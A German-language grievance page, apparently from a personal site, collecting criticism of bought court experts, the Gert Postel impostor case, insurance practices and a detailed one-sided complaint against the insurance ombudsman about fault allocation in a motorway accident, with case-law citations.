Ein Gebiet aber gibt es nach wie vor, in dem sich Angehörige zweier Klassen vor Gericht gegenüberstehen: Diejenigen, die sich Gutachter kaufen können und diejenigen, denen dazu die Mittel fehlen. Die Landtagsfraktion der Bayerischen SPD hat sich dieses Themas in einer schriftlichen Anfrage und einer Pressekonferenz angenommen; sie fordert u. a. eine Änderung der ZPO. Die Misere des normalen Bürgers, der im Prozeß auf einen Sachverständigen trifft, hängt damit zusammen, daß er höchst selten mit Sachverständigen zu tun hat, seine Gegner (Industrie, Versicherungen, Berufsgenossenschaften etc.) aber tagtäglich. Da diese Großen laufend mit Gutachtern zu tun haben, lohnt es sich für sie, sich die Gutachter gefällig zu machen. Zuweilen geschieht dies durch illegale Zuwendungen, meist aber geht man ganz legal vor. Es gibt Geld für irgendwelche Gutachten, für sogenannte klinische Studien, Finanzierung von Tagungen, Einladungen zu gut bezahlten Vorträgen, zu Kongressen und sonstigen Veranstaltungen, Zurverfügungstellung von Arbeitsmaterialien, Spesenersatz, Zahlungen an Institutionen, die indirekt dem Gutachter zugute kommen, usw.
Daß man hier nicht kleinlich ist, zeigen die Versuche einer großen Krankenversicherung, den Westdeutschen Rundfunk zu bestechen, wobei der Versicherungsagent erklärt, er habe durch Geldzahlungen schon viele verdeckte Werbebeiträge seiner Versicherung ins Fernsehprogramm geschleust. Das meiste liegt hier leider im Dunkeln und wird dort ohne Änderung der ZPO wohl auch bleiben…

Gert Postel über seine Psychiatrie-Erfahrung als Oberarzt: „Auch eine dressierte Ziege kann Psychiatrie ausüben“
Mehr Schein als Sein: Psychiatrie
Hochstapler Dr.med. Dr.phil. Gert Uwe Postel reißt Psychotherapeuten und Psychiatern die Maske kundiger Heiler herunter.
Darf man es bedauern, dass Gert Postel, ein Hochstapler mit Kultstatus, der sich selbst bezeichnet als „ein Nichts“, „ein ehemaliger Postbote mit mittlerer Reife“, die ihm vom sächsischen Sozialministerium angetragene Chefarztstelle der forensischen Abteilung des Landeskrankenhauses für Psychiatrie und Neurologie in Arnsdorf – dotiert mit einer C4-Professur an der TU Leipzig – nicht angenommen hatte? Jedenfalls ist der Welt damit eine weitere heiter-böse Bloßstellung dessen vorenthalten worden, wovon Politik, Justiz wie Psychiatrie bis zur Stufe der Unfähigkeit vorzüglich leben: dem schönen Schein.
Schon sieben Monate nach seiner Einstellung als Oberarzt am Fachkrankenhaus für Psychiatrie, Psychotherapie und Neurologie im sächsischen Zschadraß wurde der falsche Dr. med. Dr. phil. Gert Uwe Postel, persönlich unterstützt vom Sozialminister Dr. Hans Geisler (CDU), für diese Chefarzt-Position vorgeschlagen. Postels fachliche Kompetenz galt als unbestritten.
…Honorare in Höhe von knapp 44.000 Mark, die er für psychiatrische Gutachten in 23 Strafverfahren kassierte, für die er als Gerichtsgutachter bestellt wurde, wird er hingegen behalten dürfen. Das sächsische Justizministerium habe zwar eine Rückforderung geprüft, aber kein Verfahren eingeleitet, weil eine Chance, das Geld einzuklagen, nur bestünde, wenn die Fehlerhaftigkeit der Gutachten nachgewiesen werde. Von den Gerichten war jedoch keine einzige der Expertisen zurückgewiesen oder angefochten worden.

Mobbing, med. Gefälligkeitsgutachten, überflüssige Diziplinarverfahren, Behördenstress, 11.02.2010
„Was mit den Steuerfahndern begann, scheint ein Problem der gesamten Hessischen Landesregierung zu sein. Innenminister Volker Bouffier (CDU) muss sofortige Aufklärung über die Vorwürfe systematischen Mobbings und des Einsatzes zweifelhafter Gesundheitsgutachten leisten.
…Nun zeigten die jüngsten Meldungen über den erneuten Einsatz dubioser Gesundheitsgutachten und Mobbings bei hessischen Polizistinnen und Polizisten wie das System Koch funktioniere, so Schaus. Die glaubhaften Berichte über Mobbing und zweifelhafte Gutachten in hessischen Ministerien machten deutlich: Durch eine personalpolitische Führung nach Gutsherrenart werden die Rechte der Beschäftigten systematisch verletzt.
Es sei traurig, dass verdiente Beschäftigte und Beamte wie Dirk Lauer nur über Gerichte ihr Recht erkämpfen müssten. DIE LINKE fordere deshalb die Staatsanwaltschaft auf, dass die momentan niedergelegten Ermittlungen gegen Gutachter und Dienstärzte wegen Ausstellens unrichtiger Gesundheitszeugnisse wieder aufgenommen werden. Schließlich sei die Unrichtigkeit der entsprechenden Gutachten aktenkundig.
In der Innenausschusssitzung vom 11.02.2010 bügelte der Innenminister alle Vorwürfe aufgrund von Mobbing, med. Gefälligkeitsgutachten und überflüssige Dizisplinarverfahren als Einzelfälle ab!
…Nun habt Ihr als Betroffene nur noch die Chance um das Gegenteil zu beweisen die Möglichkeit euch mit Namen bei den Fraktionen zu melden!
Die Presse wie Frankfurter Rundschau, Hessischer Rundfunk, HR Hessenschau benötigen Kolleginnen und Kollegen die Aussagen und Beweise vorlegen können!
Sollte sich in den nächsten 14 Tagen nicht etwas bewegen durch öffentliche Aussagen von Kolleginnen und Kollegen, ist das Thema beendet und das System läuft ungehindert so weiter!
Nach den 14 Tagen werde auch ich entscheiden, ob ich diese Hompage weiter betreiben werde, da die Einschüchterungstaktig dann doch ihr erklärtes Ziel erreicht hat!

Betrug durch Versicherungen, 04.05.09
Wie Unfallversicherungen einen Schwerbehinderten betrügen und der Staat die Betrüger unterstützt und schützt.
– Ein „Lehrbuch“ für alle, die bislang glaubten in einem Rechtsstaat zu leben.
Die Ereignisse können durch Anforderung von Beweismitteln auch strafrechtlich sattelfest bewiesen werden.
…Nachdem mir jetzt mehrfach bewiesen wurde, dass man nicht gegen Großkupferte ankommt, kann ich jedem Unfallopfer nur dringenst empfehlen, die Angelegenheit im Zivilverfahren abzuschließen. Auf ein Strafverfahren, wie von mir versucht, hat man keine Chance…dies gilt selbst dann, wenn alle Tatbestandsmerkmale des Dreiecksbetruges gem. § 263 StGB erfüllt sind, als auch teilweise die Täter Ihre Schuld zugeben, wodurch die Täter eigentlich dem Opfer gegenüber Schadensersatzpflichtig würde…aber dazu müsste ein Normalsterblicher ja die gleichen Rechte haben wie die Täter…
Nachdem meine ehemaligen Rechtsanwälte jetzt einstweilige Verfügungen gegen meine Internetpage erwirken, und ich keinen Rechtsanwalt finde, der bereit ist gegenüber anderen Rechtsanwälten mit den Tatbestandsmerkmalen des § 263 StGB zu argumentieren, um mich gegen die einstweiligen Verfügungen zu wehren, werde ich mich im Folgenden zu gewissen Personen nur noch etwas milder äußern und dem Leser das Urteil über gewisse Beweise überlassen.
…Die bei der Staatsanwaltschaft Hannover eingereichte Anzeige gegen den HDI sowie die Gutachter und Rechtsanwälte blieb sechs Monate trotz mehrfacher Nachfrage ohne Resonanz. Erst dann rang sich Staatsanwalt Klages durch, eine Ablehnung der Klage zu verfassen, in der er die Täuschung des Gehilfen einfach wegließ.

Die „Schwarze Liste“ der Versicherungen
Immer öfter wenden sich Menschen an Verbraucherschutzorganisationen, weil sie keinen Versicherungsschutz mehr haben. Der Grund: Auch die Versicherungswirtschaft sammelt unsere Daten.
HIS – das „Hinweis- und Informationssystem“
9,5 Millionen Datensätze ahnungsloser Bürger speichern die Versicherungen auf einem zentralen Computer, dem so genannten Hinweis- und Informationssystem, kurz HIS. Sachbearbeiter prüfen vor Vertragsabschluss oder Schadensregulierung die Vorgeschichte fast aller Antragsteller und schicken eine Anfrage an HIS. Dort sind die persönlichen Daten unter einem Code hinterlegt. Gibt es zu diesem Code schon Einträge, wird das dem Sachbearbeiter zurückgemeldet. Der Versicherte hat keine Ahnung, dass seine Daten mit einer schwarzen Liste von über einer Million Risikokunden abgeglichen werden, die oftmals für Ablehnung und Kündigung verantwortlich ist.
Hartmut Aust ist verärgert: „Das kann es nicht sein, dass solche persönlichen Daten, wie auch immer, einfach weitergegeben werden. Hinz und Kunz hat darauf Zugriff. Ich weiß nicht, was passiert mit meinen Daten.“
Der Datenschutzexperte Thilo Weichert hält es für äußerst bedenklich, dass die Versicherungen unkontrolliert Daten im HIS speichern und weitergeben, auch falsche: „Ich gehe mal davon aus, dass über 90 Prozent der Betroffenen von dieser Datei nicht Bescheid wissen. Die Aufnahme in diese Warndatei kann für die Betroffenen Existenz bedrohend sein. …

Sinnlose Operation an der Wirbelsäule mit weiterem Ärztepfusch, Gutachterpfusch und Gerichtspfusch, 2004
Prof. Dr. „Wenn wir operieren ist hinterher alles in Ordnung, falls nicht handelt es sich um einen Simulanten“ (und im folgenden in der Justiz selbstverständlich um einen Querulanten.)
Ich bin bei einer Wirbelsäulen Operation verpfuscht worden, konnte nicht mehr laufen. Dann mußte ich schwer Revisions operiert werden und wurde wieder verpfuscht. Danach mußte ich weitere 4 mal operiert werden: Morphium, Schmerzen und Erschöpfung sind seither meine Begleiter. Ich habe daher 2004 Klage eingereicht. Doch was die Gutachter über mich geschrieben haben, sucht in Deutschland seines gleichen. Jetzt 2010 habe ich beide Gutachter angezeigt.
…Das ist doch ein klarer Beweis, dass mit der B-TWIN Methode bei vielen Patienten die Operation misslungen ist. Ich kenne 4 Patienten. Wir haben dies dem Gericht als Beweis vorgelegt, dass hat das LG Karlsruhe überhaupt nicht interessiert.  Kein einziger Beweis von uns wurde berücksichtigt. Das ist sicher einmalig in Deutschland!
Landesgericht Karlsruhe: Kein einziger unserer Beweise wurde vom LG berücksichtigt, weil die GA dermaßen für die Beklagten sprechen. Kein Punkt in den GA spricht für mich. Dabei ist der Sachverhalt einfach. Ich habe wenig Schmerzen, werde operiert, kann nicht mehr laufen, muss 5 mal nachoperiert werden und bin seither Schmerzpatient. Wir werden von den Richtern und Beisitzern sehr aggressiv behandelt. Wir  verstehen dies nicht. Mein mitgebrachtes Wirbelsäulenmodell schmeißen die fast vom Tisch. Meine Anwältin bricht vollkommen ein, wehrt sich nicht.  Sie bräuchte nur den Herstellernachweis Transplantatmaterial auf den Tisch zu legen und den GA fragen ob er lesen kann, nicht einmal das bringt Sie zusammen.
Oberlandesgericht  Karlsruhe Berufung: Das OLG berücksichtigt auch nicht unser Berufunsgschreiben. Statt dessen soll der orthop. GA zum vierten mal zum Transplantatmaterial befragt werden, diesmal ob dies dokumentationspflichtigt ist. Was soll diese unsinnige Frage. Bei jeder Versteifung im Rücken kommt Knochenmaterial zum Einsatz. Sagt der GA nein, habe ich die Berufung verloren
Jetzt werde ich vom Gericht unter Druck gesetzt, ich solle einem beschämenden Vergleich zustimmen. Doch ich weigere mich!! Jetzt droht mir das OLG 7. Senat, in Karlsruhe, es werde kein neues Gutachten geben. Dabei kann nur ein Obergutachten weiterhelfen, so ist es üblich. Indirekt sagen die mir, ich habe keine Chance!!  So ist das in Deutschland. Nur was soll ich machen, letzte Chance ist der BGH, da kommen nur 3 % durch.

ARD, Die Moral der Gutachter, gekaufte Sachverständige, gelesen wird bei Gericht grundsätzlich nur die letzte Seite des Gutachtens, 1998

Gutachten: „Wenn man dafür bezahlt wird , verändert sich die Sicht.“, FAZ Magazin Nr. 84 vom 03.05.1996 (dw)
Als Rechtsprofessor weiß er, welche Bedeutung den Interessen in einem Streitfall zu kommt und wie schwierig es mitunter ist, völlig unparteiisch zu bleiben. So kennt Wernhard Möschel auch die delikate Rolle des Gutachters in Rechtshändeln. Vor dem Postausschuß des Bundestages beschrieb er das Problem so:
„Mit Gutachten ist es wie mit der Liebe: Wenn man dafür bezahlt wird , verändert sich die Sicht.“

Wie der Ombudsmann der Versicherungen Prof. Dr. Günter Hirsch (ehemaliger Staatsanwalt/Richter) und seine Mitarbeiter Referent Kleemeyer und Referentin Witter als Juristen Bürger verarschen, 03.05.2010:
Ein Ombudsmann Prof. Dr. Günter Hirsch, der nicht einmal simpelste und einfachste rechtliche Grundlagen beherrscht aber tausende von EUR im Monat kassiert.
Auf der Homepage des Ombudsmanns Prof. Dr. Günter Hirsch heisst es wie folgt:
„Der Ombudsmann nimmt sich der Schwierigkeiten der Versicherungskunden unbürokratisch an.“
„Sind Sie mit einem Bescheid Ihres Versicherungsunternehmens nicht einverstanden, dann geben Sie bitte zuerst ihm die Möglichkeit, die Entscheidung zu überprüfen. Sollte Sie das Ergebnis nicht zufrieden stellen, können Sie den Ombudsmann einschalten.“
„Bei der Vielzahl der Vorgänge, die Versicherungsunternehmen täglich entscheiden, können Bearbeitungsfehler nicht gänzlich ausgeschlossen werden. Dann kann der Ombudsmann helfen. Kunden der angeschlossenen Versicherungsunternehmen können sich an ihn als eine neutrale und unabhängige Stelle wenden.
Sofern die Entscheidung des Versicherers falsch war, kann der Ombudsmann gegen das Unternehmen bis zu einer Höhe von 5.000 Euro eine verbindliche Entscheidung aussprechen. Stellt er fest, dass der Versicherer korrekt gehandelt hat, erläutert er dem Kunden verständlich das Ergebnis seiner Prüfung.“

Prof. Dr. Günter Hirsch, 03.05.2010:
„Bitte erlauben Sie mir noch einmal den Hinweis, dass ich keine Haftungsentscheidung getroffen habe. Der Gegenstand meiner Überprüfung war, ob die Regulierungsentscheidung des Versicherers ermessensfehlerhaft (also willkürlich oder unsachgemäß) war. Das konnte ich jedoch nicht feststellen.“

Es wurde sich aber gerade über eine erfolgte prozentuale Haftungsentscheidung der Versicherung beschwert, die nur 100% Verschulden wegen eines Autounfalles bei der Partei sieht, die sich beschwert und diese daher in der Versicherung zurückstuft ohne eine andere prozentuale Verschuldenshaftung festzulegen.
Es wurde dem Beschwerdeführer nicht mitgeteilt, dass über die Haftungsentscheidung keine Entscheidung getroffen werden würde und entsprechend finden sich auch keinerlei Hinweise auf der Internetseite, sondern nur gegenteilige Hinweise, dass über eine Beschwerde wegen eines evtl. unkorrekten Verhaltens der Versicherung entschieden wird. Der Ombudsmann hat jedoch entschieden, dass die Entscheidung der Versicherung, die ihm 100% Schuld zuweist nicht unsachgemäß und nicht willkürlich ist und es daher bei einer Schuld von 100% des Beschwerdeführers bleibt. Er hat aber nicht über die Haftungsentscheidung entschieden!
Innerhalb des Beschwerdeverfahrens legte der Beschwerdeführer eine Entscheidung des BGH (BGH 10.02.2004 – VI ZR 218/03) vor, die einem Unfallgegner, der auf einer Autobahn ungebremst in eine beleuchtete Unfallstelle fuhr zu 100% Schuld zuwies, weil er gegen die erforderliche Aufmerksamkeit im Strassenverkehr verstossen hat und dabei kam es auch gar nicht mehr darauf an ob dem auf der Autobahn stehendem Fahrzeugführer ein Verschulden am Erstunfall trifft. Darauf hin erklärte die eigene Versicherung, dass man sich über eine prozentuale Verschuldenshaftung sicherlich unterhalten könne (und genau darum ging es) und legte eine Entscheidung vor wo dem Fahrzeugführer, der auf einer Landstrasse nachts auf eine unbeleuchtetes Fahrzeug auffuhr 33% Schuld erhielt, wegen Verstosses gegen das Sichtfahrgebot (Entsprechend ist das auch die negativste Entscheidung für den Beschwerdeführer. Die Entscheidungen reichen bei ähnlichen Fällen von 33-66% Schuld beim Auffahrenden, wenn es sich um unbeleuchtete Hindernisse handelt.). Gemäß der BGH-Entscheidung sind es jedoch wie schon gesagt 100% beim Auffahrenden, der auf ein beleuchtetes Hindernis auffuhr.
Die Versicherung hatte nur Alltagsweißheiten und Stammtischwahrheiten (Beweise, die diese verwendete) mit denen dem Beschwerdeführer ein Verschulden am Erstunfall zugewiesen werden sollte. Diese sind vom Beschwerdeführer alle widerlegt worden. Danach hieß es folgendermaßen:

In einem Verkehrsrechtsforum wurde dieser Fall ausführlich geschildert mit den Antworten des Ombudsmanns. Man war einstimmig der Ansicht, dass der Beschwerdeführer endlich Klage gegen seine Versicherung einreichen solle anstatt sich weiter vom Ombudsmann verarschen zu lassen.

Vorliegend stand das verunfallte Fahrzeug nachts auf der mittleren Fahrspur der gut überschaubaren Autobahn mit eingeschalteter Warnblinkanlage und entgegen der Fahrtrichtung mit eingeschaltetem Abblendlicht. Das Fahrzeug der Zweitunfallverursacherin fuhr auf der mittleren Spur auf ca. 600m geradeaus führender Fahrbahn mt 4% Gefälle bei einer Geschwindigkeisbegrenzung von 120km/h auf das auf der mittleren Spur stehende Fahrzeug zu und konnte vor diesem nicht mehr zum stehen kommen und somit nur noch ausweichen wobei es gegen die Leitplanke stieß und eine dahinterstehende Person schwer verletzte. Dem Erstunfallverursacher soll daran 100% Schuld treffen, wie auch der Ombudsmann feststellt. Was er ja aber nicht feststellt, denn er stellt nur fest, dass die Entscheidung der Versicherung, die ihm 100% Schuld zuweist nicht ermessensfehlerhaft (willkürlich oder unsachgemäß) war.
Gegen das Sichtfahrgebot kann hier nicht verstoßen worden sein, denn das auf der Autobahn stehende Fahrzeug leuchtete selbst. Auch hat zwischenzeitlich eine erhebliche Anzahl von Fahrzeugen die Unfallstelle passiert. Es kann sich somit nur um einen Verstoß wie in der BGH-Entscheidung gegen die im Strassenverkehr erforderliche Aufmerksamkeit handeln.

Kleemeyer, Witten im Auftrag des Ombudsmanns, 15.10.2009:
„Wie oben beschrieben liegt aufgrund des Ermessensspielraumes des Versicheres im Verhältnis zu Ihnen nur dann ein Fehlverhalten vor, wenn der Versicherer willkürlich oder unsachgemäß entscheidet. Die xxx hat vielmehr anhand der Beweissituation eine Entscheidung getroffen, die ggf. auch in einem anderen Umfang hätte getroffen werden können, aber auch nicht abwegig ist.“
Das heisst wenn die eigene Versicherung an die Gegenseite nur zwischen 0% (eher passend) und 66% (fast gar nicht mehr passend aber auch nach späterer Angabe der eigenen Versicherung) regulieren muß, dann liegt keine falsche Entscheidung des Versicherers vor. Wenn also tatsächlich nur zwischen 0% und 66% an die Gegenseite zu regulieren sind und die Versicherung 100% an die Gegenseite reguliert und das mit Beweisen, die auf juristischen Alltagsweißheiten und Stammtischwahrheiten beruhen, dann liegt auch das noch im Ermessensspielraum der Versicherung. (Unabhängig davon ist es natürlich ebenfalls Beweismittel der Versicherung der Zweitunfallverursacherin gar nichts zahlen zu müssen, weil die Versicherung des Erstunfallverursachers zu 100% reguliert hat.).

Warum teilt man dem Beschwerdeführer aber nicht bereits entsprechendes im ersten Schreiben mit, dass der Ermessensspielraum der Versicherung im Grunde willkürlich erfolgen darf. Im vorliegenden Fall ist das allerdings nicht erfolgt, weil man mit Beweismitteln, die Alltagsweißheiten und Stammtischwahrheiten entsprechen dem Erstunfallverursacher ein 100%-Verschulden nachweisen wollte was nicht gegeben ist.

Beim Erstunfallverursacher schaukelte sich ein PKW-Anhänger auf und stürtzte bei geringer Geschwindigkeit letztlich um wobei er den Pkw um 180 Grad drehte, so dass dieser entgegen der Fahrtrichtung stand. Die Begründung warum der Unfallverursacher den Unfall verschuldet hat und das Aktenkundige Beweismittel der Versicherung lautet wie folgt:
Aufgrund dessen, dass es zu einem Unfall gekommen ist muß ein Verschulden beim Fahrzeugführer vorliegen, denn sonst wäre es ja nicht zu dem Unfall gekommen.
Angeblich sei der Unfallverursacher mit unangepaßter Geschwindigkeit unterwegs gewesen ansonsten wäre es ja nicht zu dem Unfall gekommen. Ein anderes mal war er mit angepaßter Geschwindigkeit unterwegs hat aber irgendeinen Fahrfehler begangen den man nicht benennen kann, denn sonst wäre es ja nicht zu dem Unfall gekommen und daher trifft ihn ein Verschulden, weil es zu einem Unfall gekommen ist usw.
Einen konkreten Verschuldensvorwurf kann bisher niemand nennen.

Beim Zweitunfallverursacher, der vor der Unfallstelle nicht mehr zum stehen kommen konnte lautet die Begründung nicht, dass diesen ein Verschulden (fehlenlassen der erforderlichen Aufmerksamkeit im Strassenverkehr oder Verstoß gegen das Sichtfahrgebot) trifft, weil es zu diesem Zweitunfall gekommen ist, sondern dem Zweiunfallverursacher kann keinerlei Verschuldensvorwurf auch aus anderen Gründen gemacht werden, weil ihm nicht nachgewiesen werden konnte, dass er zu schnell gefahren ist. (Dem Erstunfallverursacher konnte konkret auch nicht nachgewiesen werden, dass er zu schnell gefahren ist und damit würde ja auch keinerlei Veschulden auch aus allen anderen Gründen bei diesem vorliegen.).
Das beim Zweitunfallervursacher ein Verschulden vorliegt ergibt sich aber aus der Entscheidung des BGH (BGH 10.02.2004 – VI ZR 218/03), denn es wurde gleichermaßen die erforderliche Aufmerksamkeit im Strassenverkehr ausser acht gelassen. Das stellte in dem dortigen sehr gleichen Fall ein solches schwerwiegendes Verschulden dar, dass es auf ein evtl. Verschulden des Erstunfallverursachers zu dem gar nicht mehr ankommt.

Ombundsmann Prof. Dr. Hirsch und Referent Kleemeyer und Referentin Witter (Also mit 3 Juristen!):
„Ganz maßgeblich ist zudem, dass der Zweitunfallerursacherin nicht nachgewiesen werden konnte, dass ihr ein schweres Verschulden am dem Unfall vorzuwerfen ist. Es gibt keine Beweise, dass die die der Tageszeit angemessen Aufmerksamkeit außer Acht gelassen hat.“

Gemeint ist, dass die Staatsanwaltschaft der Zweitunfallverursacherin kein strafbares schweres Verschulden nachgewiesen hat, daher trage diese auch in zivilrechtlicher Hinsicht gar kein Verschulden und haftet auch nicht Verschuldensunabhängig. Gerade daher wurde aber auch Beschwerde eingereicht, weil die strafrechtlichen Entscheidungen der Staatsanwaltschaft als solches gar nichts mit einer zivilen Haftungszuweisung zu tun haben und sich immer und stets nur darauf bezogen wird ob die Staatsanwaltschaft (irgendein) strafrechtliches Verschulden oder keines feststellen konnte.

Die Staatsanwaltschaft prüft nur ob ein Verschulden in strafrechtlicher Hinsicht vorliegt. Diese prüft nicht ob bezüglich einem strafrechtlichen Verschulden ein kausauler Verschuldenszusammenhang zwischen einer zivilen Haftung (verschuldet oder nicht verschuldet) besteht. Die Staatsanwaltschaft prüft auch nicht ob ein ziviles Verschulden (nach BGB, StVG etc.) vorliegt und diese prüft auch keine prozentuale Haftungsaufteilung zwischen den Unfallbeteiligten. Der Halter eines Kfz haftet gemäß § 7 Abs.1 StVG bereits grundsätzlich verschuldensunabhängig.

Entscheidungssammlung zu Auffahrunfällen als PDF

Anscheinsbeweis bei Auffahrunfall:
Bei Auffahrunfällen spricht der Beweis des ersten Anscheins dafür, dass der Auffahrende die im Verkehr erforderliche Sorgfalt nicht beachtet hat, weil er entweder zu dicht aufgefahren ist oder seine Fahrgeschwindigkeit nicht der Verkehrslage angepasst hat oder weil er es an der erforderlichen Aufmerksamkeit hat fehlen lassen (OLG Karlruhe VRS 77, 101 f; KG DAR 1976, 74, 75; KG NZV 1993, 478; OLG Köln MDR 1995, 577; Hentschel, Straßenverkehrsrecht, 36. AufI., § 2 StVO. Rnr. 17). Dieser gegen den Auffahrenden sprechende Anscheinsbeweis wird nur entkräftet, wenn die ernsthafte Möglichkeit eines atypischen, nicht für ein Verschulden des Auffahrenden sprechenden Geschehensablaufes vorliegt. Letzteres muss der Auffahrende darlegen und ggf. beweisen (OLG Karlsruhe, aaO.).

Wer im Straßenverkehr auf den Vorausfahrenden auffährt, war in der Regel unaufmerksam oder zu dicht hinter ihm. Dafür spricht der Beweis des ersten Anscheins (Senatsurteile vom 6. April 1982 – VI ZR 152/80 – VersR 1982, 672; vom 23. Juni 1987 – VI ZR 188/86 – VersR 1987, 1241 und vom 18. Oktober 1988 – VI ZR 223/87 – VersR 1989, 54).

Anscheinsbeweis bei Auffahrunfällen gilt auch auf Autobahnen (OLG Saarbrücken vom 19.05.2009 – Az. 4 U 347/08)

Das Sichtfahrgebot zählt zu den „goldenen Regeln“ des Verkehrs und gilt auf allen Strassen einschließlich Autobahnen. (BGHSt 16, 145, 151) Die Versicherung reguliert im folgenden Fall zu ungunsten des auffahrenden Kraftfahrers, welches bei einem Auffahrunfall richtig ist:
Die Kfz-Haftpflichtversicherung darf auch gegen den Willen ihres Versicherungsnehmers den Schaden eines Unfallgegners begleichen, so lange die Regulierung nicht unsachgemäß und willkürlich ist Laut ARAG hat der Versicherungsnehmer hinzunehmen, dass darunter der Schadensfreiheitsrabatt leide.
In dem zunächst vom Amtsgericht Coburg behandelten Fall war die Versicherungsnehmerin auf ein bremsendes Taxi aufgefahren. Etwa einen Monat später meldete sich für sie ein Rechtsanwalt bei der Versicherung. Er führte aus, die Klägerin habe den Unfall nicht verschuldet und sprach deshalb ein Regulierungsverbot aus. Gleichwohl ersetzte die Versicherung dem Taxiunternehmen dessen Schaden und stufte die Klägerin in eine ungünstigere Schadensfreiheitsklasse ein. Diese klagte gegen die Rückstufung. Die Klage der Frau, die ihrem Versicherer vorwarf, trotz Regulierungsverbots bezahlt und dadurch die Versicherungsprozente nach oben getrieben zu haben, blieb ohne Erfolg. Sowohl das Amtsgericht als auch das Landgericht verneinten einen Fehler der Versicherung. Denn als Pflichtversicherung müsse die Versicherung begründete Schadensersatzansprüche von Unfallgegnern befriedigen und unbegründete abwehren, erklären ARAG Experten. Bei der Beurteilung habe sie einen weiten Ermessensspielraum. Nach dem der Anscheinsbeweis gegen die Klägerin als Auffahrende spreche, war die Regulierung keinesfalls unsachgemäß oder willkürlich, so das Amtsgericht weiter. Der Kläger hätte nachweisen müssen, dass der Unfall für ihn unabwendbar war. Daran ändere auch das Regulierungsverbot nichts (LG Coburg, Az.: 32 S 15/09).

Im vorliegenden Fall ist die Zweitunfallverursacherin ebenfalls auf ein stehendes Fahrzeug aufgefahren. Es spricht also der Anscheinsbeweis gegen die auffahrende Zweitunfallverursacherin. Hinzukommend hat diese sogar noch angegeben, dass das verunfallte auf der mittleren Fahrspur der Autobahn stehende Fahrzeug auf dass diese auf der mittleren Fahrspur direkt zu fuhr, dass ihr mit Abblendlicht (Standlicht und Warnblinkleuchten) entgegenstrahlte und bereits aus 600m Entfernung sichtbar war, „plötzlich vor ihr auftauchte“. Damit wurde der Anscheinsbeweis, dass sie die erforderliche Aufmerksamkeit ausser Acht gelassen hat, ja sogar bestätigt.

Der BGH (BGH 10.02.2004 – VI ZR 218/03) hat in einem sehr ähnlichen Fall ein schweres Verschulden bejaht, weil der Auffahrende die erforderliche Aufmerksamkeit außer Acht gelassen hat. Der ganze Unterschied bestand darin, dass in dem BGH-Fall bereits ein Warndreieck aufgestellt worden war, daher erklärt der Ombudsmann sei die Entscheidung des BGH nicht anwendbar, denn eine Unfallstelle ist nur abgesichert, wenn ein Warndreieck aufgestellt ist. Genau das war aber auch Beschwerdegegenstand, denn das Abblendlicht ist bereits in der Entfernung weseltlich besser zu sehen in der man gewöhlicherweise ein Warndreick aufstellen würde, wie ein Warndreieck. Somit war die Unfallstelle auch im vorliegendem Fall bereits ausreichend abgesichert und aufgrund des Abblendlichts, Standlichts und Warnblinklichts sogar besser sichtbar wie Rücklichter zuzüglich eines Warndreiecks . Auch in dem Fall über den der BGH entschieden hat war genau wie in allen anderen Fällen nicht entscheidend ob ein strafrechtliches Verschulden wegen eines Verkehrsdelikts begangen worden ist oder ob ein solches nicht nachgewiesen konnte. Der BGH wie auch alle davor entscheidenden Instanzen haben nicht aufgrund strafrechtlicher Vergehen der Unfallbeteiligten entschieden, sondern nur aufgrund zivilrechtlicher Haftungen und zivilrechtlichen Verschuldens geurteilt, genau wie auch folgende Gerichte:

Ein Fahrzeugführer muß sogar vor unbeleuchteten Hindernissen anhalten können:

Die Kuh war nicht mit einem Warndreieck ausgestattet und hatte auch keines aufgestellt und beleuchtet war diese zu dem auch nicht:

Ein Fahrzeugführer muss auch nachts beim Überholen vor einer unbeleuchteten pechschwarzen Kuh anhalten können. ( Thüringer OLG, NZV 2002, 464)

Ein Warndreieck war nicht aufgestellt nach rückwärts war der Panzer nur durch ein Rücklicht beleuchtet:
„Der Kraftfahrer hat gemäß StVO §§ 1, 3 Abs. 1 S 3 seine Fahrweise so einzurichten, dass er auch in der Dunkelheit vor auf der Straße liegengebliebenen Kraftfahrzeugen, mögen sie auch unbeleuchtet und zudem – wie ein Panzer – mit einem Tarnanstrich versehen sein, rechtzeitig anhalten kann. …Der Kraftfahrer dürfe auch bei Dunkelheit oder wie vorliegend bei hereinbrechender Dämmerung, nur so schnell fahren, dass er innerhalb der überschaubaren Strecke rechtzeitig vor einem Hindernis, das sich auf seiner Fahrbahn befindet, anhalten kann.“(BGH, Urteil vom 23.06.1987, Az. VI ZR 188/86)

Im vorliegendem Fall war die Warnblinkanlage eingeschaltet:

Fährt ein Verkehrsteilnehmer infolge mangelnder Aufmerksamkeit auf der Überholspur einer Autobahn auf das Fahrzeug eines anderen Verkehrsteilnehmers leicht auf, wobei dieser es seinerseits – verursacht durch einen Erstunfall – unterlassen hat, die Warnblinkanlage zu betätigen, so trägt der Auffahrende eine Haftungsquote von insgesamt 75%, während den die Betätigung der Warnblinkanlage Unterlassenden eine Haftungsquote von 25% trifft. (LG Memmingen v. 24.07.2007).

Die Aktenkundigen Beweismittel (Alltagsweißheiten und Stammtischwahrheiten) der Versicherung lauteten also wie folgt:
Dem Erstunfallverursacher trifft ein 100% Verschulden aus irgendeinem Grund gemäß §1 Abs. 2 StVO, weil es zu einem Unfall gekommen ist und er gemäß eines Polizisten unterstellterweise zu schnell gefahren ist, denn sonst wäre es ja nicht zu dem Unfall gekommen.
Die Zweitunfallverursacherin trifft gar kein Verschulden egal aus welchem Grund, weil dieser von der Staatsanwaltschaft nicht nachgewiesen werden konnte zu schnell gefahren zu sein.
Zivilrechtliche Entscheidungen aus anderen Fällen wurden dabei vollständig außer Acht gelassen.
Wenn die Zweitunfallverursacherin aber nicht zu schnell gefahren ist (auch dann hätte diese vor der Unfallstelle anhalten können müssen wie es anderen Verkehrsteilnehmern ebenfalls zuvor gelungen ist) und auch die erforderliche Aufmerksamkeit beachtet hat und das Licht des Erstunfallfahrzeugs bereits aus 600m wahrgenommen hat, dann kann diese nur noch mit Vorsatz nicht angehalten haben.

In der Klage gegen die Versicherung trägt der Anwalt nun vor, dass die Versicherung aufgrund der Betriebsgefahren reguliert habe und nicht aufgrund strafrechtlicher Ermittlungen die stattgefunden oder nicht stattgefunden haben. Das Wort „Betriebsgefahr“ ist allderings nie von der Versicherung zuvor oder vom Ombudsmann verwendet worden. Die Gegenüberstellung der (konkreten) Betriebsgefahren wäre allerdings eine Haftungsaufteilungsmöglichkeit. Davon aber nie die Rede! (Schreiben der Versicherung)
